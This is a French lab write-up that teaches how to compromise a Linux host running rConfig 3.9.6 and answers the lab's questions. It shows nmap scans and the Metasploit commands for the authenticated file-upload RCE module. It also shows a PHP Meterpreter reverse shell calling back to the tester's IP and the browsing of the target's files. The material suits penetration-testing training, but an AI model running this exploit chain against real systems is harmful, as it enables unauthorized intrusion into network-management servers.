Infiltrating Unix/Linux
🔎 Contexte et Intérêt
Selon une étude régulièrement mise à jour par W3Techs, plus de 70% des sites web s'appuient sur un système d'exploitation de type Unix. Cela signifie qu'en tant que pentester, il est essentiel de maîtriser l'environnement Unix/Linux pour maximiser les chances de compromission et d'éventuelle élévation latérale.
Bien que de nombreuses entreprises utilisent aujourd'hui des hébergeurs tiers ou des solutions cloud, certaines continuent à gérer elles-mêmes leurs serveurs web sur site. Dans ces cas, l'obtention d'un shell sur le système cible peut être un point d'entrée crucial pour un pivotement interne.
❓ Questions Clés à Considérer
Lorsqu'on tente d'obtenir une session shell sur une machine Unix/Linux, il est utile de se poser les questions suivantes :
Quelle distribution de Linux est en cours d'exécution ?
Quels shells et langages de programmation sont installés ?
Quelle est la fonction du système dans le réseau ?
Quelle application est hébergée ?
Y a-t-il des vulnérabilités connues ?
Ces interrogations orientent efficacement la phase de reconnaissance et les choix d'exploitation.
⚡️ Obtenir un Shell via une Application Vulnérable
📊 Scan Initial avec Nmap
nmap -sC -sV 10.xx.xx.xx
Extrait des résultats pertinents :
Port 21 (FTP) : vsftpd 2.0.8 ou plus
Port 22 (SSH) : OpenSSH 7.4
Port 80 / 443 : Apache 2.4.6 (CentOS) avec PHP 7.2.34
Port 3306 : MySQL
On constate donc la présence d'un serveur web sous CentOS hébergeant une application PHP.
💻 Application Détectée : rConfig
En accédant au site via navigateur, on identifie l'application rConfig (outil de gestion de configurations réseau). Il s'agit d'une cible critique car elle est conçue pour automatiser la configuration de périphériques réseau (routeurs, switchs, etc.). Un accès à cette application pourrait potentiellement compromettre tout le réseau.

🔍 Recherche de Vulnérabilités dans rConfig
La version identifiée sur la page de connexion est 3.9.6. Une recherche sur cette version ("rconfig 3.9.6 vulnerability") renvoie vers des vulnérabilités connues, notamment :
Upload arbitraire de fichier
Exécution de commande à distance (RCE)

⚙️ Modules Metasploit Disponibles
msf6 > search rconfig
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/solr_velocity_rce 2019-10-29 excellent Yes Apache Solr Remote Code Execution via Velocity Template
1 auxiliary/gather/nuuo_cms_file_download 2018-10-11 normal No Nuuo Central Management Server Authenticated Arbitrary File Download
2 exploit/linux/http/rconfig_ajaxarchivefiles_rce 2020-03-11 good Yes Rconfig 3.x Chained Remote Code Execution
3 exploit/unix/webapp/rconfig_install_cmd_exec 2019-10-28 excellent Yes rConfig install Command Execution
4 exploit/linux/http/rconfig_vendors_auth_file_upload_rce --------------------------------------------------
Module intéressant :
exploit/linux/http/rconfig_vendors_auth_file_upload_rce
Ce module permet l'envoi d'un fichier PHP malveillant via la fonctionnalité d'upload de l'application.
🔧 Chargement Manuel du Module (si non présent)
Recherche du dossier d'exploits :
locate exploits
Chemin typique sur Pwnbox :
/usr/share/metasploit-framework/modules/exploits/linux/http
Copier le code Ruby (.rb) depuis GitHub et placer le fichier dans le dossier ci-dessus.

Mettre à jour MSF :
sudo apt update && sudo apt install metasploit-framework
🚀 Utilisation de l'Exploit
Charger et configurer l'exploit
msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce
Configurer les options : RHOSTS, LHOST, LPORT, etc.
Lancer l'exploitation
exploit
Exemple de retour :
[*] Uploading file 'payload.php' containing the payload...
[*] Triggering the payload ...
[*] Meterpreter session 1 opened
🧂 Compréhension de l'Exploitation
L'exploit réalise les étapes suivantes :
Vérifie la version vulnérable
Authentifie sur l'application
Upload un payload PHP
Déclenche l'exécution pour ouvrir une session reverse shell
Supprime le fichier malveillant (cleanup)
Interagir avec le shell
meterpreter > shell
Permet de passer en ligne de commande classique sur la cible.
📁 Exemple de Dossier Accessible
Listing: /home/rconfig/www/images/vendor
...
cisco.jpg
juniper.jpg
🔐 Conclusion
L'infiltration d'une machine Unix/Linux via une application vulnérable comme rConfig repose sur une méthodologie rigoureuse : reconnaissance, identification des versions, recherche de vulnérabilités, exploitation contrôlée. Une fois la session shell obtenue, de nombreuses possibilités s'offrent à nous pour pivoter ou élever nos privilèges.
📚 Ressources Utiles
What language is the payload written in that gets uploaded when executing rconfig_vendors_auth_file_upload_rce?
Comme vu dans le cours, le pyload écrit est envoyé en PHP
.
Exploit the target and find the hostname of the router in the devicedetails directory at the root of the file system.
Scan de la machine cible :
$ nmap -sC -sV -O 10.129.201.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-03 05:16 CDT
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
111/tcp open rpcbind 2-4 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34)
3306/tcp open mysql MySQL (unauthorized)
Nmap done: 1 IP address (1 host up) scanned in 47.87 seconds
On observe alors qu'un site Web est présent sur notre cible. Nous y accédons alors :

Nous observons alors la présence d'une page de connexion à rConfig, service présent sous la version 3.9.6. Nous effectuons alors des recherches de vulnérabilités possibles concernant cette version du service :

Nous obtenons alors la confirmation que cette version de rConfig est bien vulnérable.
Nous effectuons des recherches via Metasploit afin d'exploiter cette vulnérabilité :
[msf](Jobs:0 Agents:0) >> search rconfig
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
[...]
9 exploit/linux/http/rconfig_vendors_auth_file_upload_rce 2021-03-17 excellent Yes rConfig Vendors Auth File Upload RCE
[...]
[msf](Jobs:0 Agents:0) >> use 9
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
Une fois le payload qui nous intéresse selectionné, nous pouvons le configurer et l'exécuter :
[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> set rhosts 10.129.201.101
rhosts => 10.129.201.101
[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> set lhost 10.10.14.171
lhost => 10.10.14.171
[msf](Jobs:0 Agents:0) exploit(linux/http/rconfig_vendors_auth_file_upload_rce) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444
[*] Meterpreter session 2 opened (10.10.14.171:4444 -> 10.129.201.101:51730) at 2025-07-03 05:27:10 -0500
(Meterpreter 2)(/home/rconfig/www/images/vendor) >
Nous avons maintenant accès à notre cible. Nous pouvons ainsi récupérer le nom de du routeur :
(Meterpreter 2)(/home/rconfig/www/images/vendor) > cd
(Meterpreter 2)(/) > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
[...
040755/rwxr-xr-x 56 dir 2021-10-18 16:28:04 -0500 devicedetails
[...]
(Meterpreter 2)(/) > cd devicedetails
(Meterpreter 2)(/devicedetails) > ls
Listing: /devicedetails
=======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 568 fil 2021-10-18 16:23:40 -0500 edgerouter-isp.yml
100644/rw-r--r-- 179 fil 2021-10-18 16:28:03 -0500 hostnameinfo.txt
(Meterpreter 2)(/devicedetails) > cat hostnameinfo.txt
Note:
All yaml (.yml) files should be named after the hostname of the router or switch they will configure. We discussed this in our meeting back in January. Ask Bob about it.
Nous observons dans le répertoire devicedetails
deux fichiers, edgerouter-isp.yml
et hostnameinfo.txt
.
Nous ouvrons donc le fichier hostnameinfo.txt et lisons son contenu. Ce dernier mentionne que le nom qui doit petre donné aux fichiers yaml sont les noms des périphériques concernés.
Nous pouvons alors trouver le nom de notre routeur qui est edgerouter-isp
.
Ceci peut également se confirmer en lisant le fonctenu du fichier edgerouter-isp.yml
:
(Meterpreter 2)(/devicedetails) > cat edgerouter-isp.yml
me: configure top level configuration
cisco.ios.ios_config:
lines: hostname edgerouter-isp
- name: configure interface settings
cisco.ios.ios_config:
lines:
- description test interface
- ip address 192.168.0.10 255.255.255.0
parents: interface gigabitethernet0/0
[...]
Mis à jour